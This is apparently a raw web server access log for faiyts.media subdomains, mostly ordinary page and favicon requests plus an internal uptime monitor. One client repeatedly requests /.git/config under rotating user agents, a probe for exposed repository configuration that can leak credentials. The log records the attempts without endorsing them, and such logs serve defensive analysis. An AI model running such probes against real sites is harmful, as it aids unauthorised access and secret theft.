- - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +192.80.103.241 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.185 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://mail.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.195 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://logs.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.79 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://terraria.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +76.31.171.31 - - [01/Jun/2024:13:37:01 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://palworld.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +66.91.202.22 - - [01/Jun/2024:13:37:01 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +66.91.202.22 - - [01/Jun/2024:13:37:02 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.164 - - [01/Jun/2024:13:37:02 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.214 - - [01/Jun/2024:13:37:02 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.164 - - [01/Jun/2024:13:37:02 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://router.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.214 - - [01/Jun/2024:13:37:02 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.124 - - [01/Jun/2024:13:37:02 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.124 - - [01/Jun/2024:13:37:02 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.13 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.13 - - [01/Jun/2024:13:37:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.23 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.10 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.23 - - [01/Jun/2024:13:37:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.10 - - [01/Jun/2024:13:37:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.221 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.106 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.8 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.106 - - [01/Jun/2024:13:37:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.8 - - [01/Jun/2024:13:37:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.221 - - [01/Jun/2024:13:37:03 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://sync.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.248.122.209 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" +176.9.99.241 - - [01/Jun/2024:13:37:03 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:04 -0500] "GET /.git/config HTTP/2.0" 401 82 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4848.150 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:37:04 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +136.243.111.28 - - [01/Jun/2024:13:37:04 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +136.243.111.28 - - [01/Jun/2024:13:37:05 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +64.227.56.127 - - [01/Jun/2024:13:37:05 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" +136.243.111.28 - - [01/Jun/2024:13:37:05 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:05 -0500] "GET /.git/config HTTP/2.0" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" +88.99.28.94 - - [01/Jun/2024:13:37:05 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:05 -0500] "GET /login?returnUrl=%2F.git%2Fconfig HTTP/2.0" 200 3173 "https://prowl.faiyts.media/.git/config" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:05 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +88.99.28.94 - - [01/Jun/2024:13:37:05 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +168.119.12.240 - - [01/Jun/2024:13:37:06 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +176.9.140.11 - - [01/Jun/2024:13:37:06 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +88.99.103.122 - - [01/Jun/2024:13:37:06 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:06 -0500] "GET /.git/config HTTP/2.0" 308 263 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0" +192.168.0.105 - - [01/Jun/2024:13:37:07 -0500] "GET / HTTP/1.1" 302 5 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:37:07 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Uptime-Kuma/1.23.13" +93.123.39.11 - - [01/Jun/2024:13:37:07 -0500] "GET /.git/config/ HTTP/2.0" 302 249 "https://read.faiyts.media/.git/config" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0" +136.243.111.28 - - [01/Jun/2024:13:37:07 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +93.123.39.11 - - [01/Jun/2024:13:37:07 -0500] "GET /login?next=%2F.git%2Fconfig%2F HTTP/2.0" 200 4250 "https://read.faiyts.media/.git/config/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0" +195.211.77.142 - - [01/Jun/2024:13:37:08 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:10 -0500] "GET /.git/config HTTP/2.0" 200 1564 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0" +154.28.229.174 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.172 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.238 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.209 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.222 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.153 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.171 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.146 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +104.164.173.114 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.251 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 3879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:10 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:11 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +71.93.86.58 - - [01/Jun/2024:13:37:11 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:11 -0500] "GET /.git/config HTTP/2.0" 307 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +192.168.0.105 - - [01/Jun/2024:13:37:11 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" +192.168.0.105 - - [01/Jun/2024:13:37:11 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" +71.93.86.58 - - [01/Jun/2024:13:37:11 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:11 -0500] "GET /login HTTP/2.0" 200 41164 "https://request.faiyts.media/.git/config" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" +154.28.229.158 - - [01/Jun/2024:13:37:11 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.244 - - [01/Jun/2024:13:37:11 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.184 - - [01/Jun/2024:13:37:12 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:12 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +195.211.77.142 - - [01/Jun/2024:13:37:13 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +104.164.173.246 - - [01/Jun/2024:13:37:13 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.246 - - [01/Jun/2024:13:37:13 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +176.9.99.241 - - [01/Jun/2024:13:37:14 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +72.172.198.229 - - [01/Jun/2024:13:37:14 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +72.172.198.229 - - [01/Jun/2024:13:37:14 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.198 - - [01/Jun/2024:13:37:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +88.99.103.122 - - [01/Jun/2024:13:37:15 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.198 - - [01/Jun/2024:13:37:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:15 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" +136.243.111.28 - - [01/Jun/2024:13:37:15 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.177 - - [01/Jun/2024:13:37:15 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +154.28.229.177 - - [01/Jun/2024:13:37:15 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://find.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +136.243.111.28 - - [01/Jun/2024:13:37:16 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.133 - - [01/Jun/2024:13:37:16 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +104.164.173.133 - - [01/Jun/2024:13:37:16 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +172.58.241.115 - - [01/Jun/2024:13:37:16 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +176.9.140.11 - - [01/Jun/2024:13:37:16 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +154.28.229.206 - - [01/Jun/2024:13:37:16 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +93.123.39.11 - - [01/Jun/2024:13:37:16 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36" +154.28.229.206 - - [01/Jun/2024:13:37:16 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +172.58.241.115 - - [01/Jun/2024:13:37:16 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://vpn.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +104.164.173.187 - - [01/Jun/2024:13:37:16 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +136.243.111.28 - - [01/Jun/2024:13:37:17 -0500] "GET / HTTP/1.1" 200 1384 "-" "Go-http-client/1.1" +104.164.173.187 - - [01/Jun/2024:13:37:17 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://block.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +93.123.39.11 - - [01/Jun/2024:13:37:17 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Safari/534.30" +93.123.39.11 - - [01/Jun/2024:13:37:18 -0500] "GET /.git/config HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0" +154.28.229.205 - - [01/Jun/2024:13:37:18 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.164 - - [01/Jun/2024:13:37:18 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +71.136.238.24 - - [01/Jun/2024:13:37:18 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.205 - - [01/Jun/2024:13:37:18 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://db.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +154.28.229.164 - - [01/Jun/2024:13:37:18 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://home.faiyts.media/" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +51.15.66.158 - - [01/Jun/2024:13:37:18 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" +104.164.173.36 - - [01/Jun/2024:13:37:18 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" +158.222.134.185 - - [01/Jun/2024:13:37:18 -0500] "GET / HTTP/2.0" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" +71.136.238.24 - - [01/Jun/2024:13:37:18 -0500] "GET /favicon.ico HTTP/2.0" 200 1384 "https://cloud.faiyts.media/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 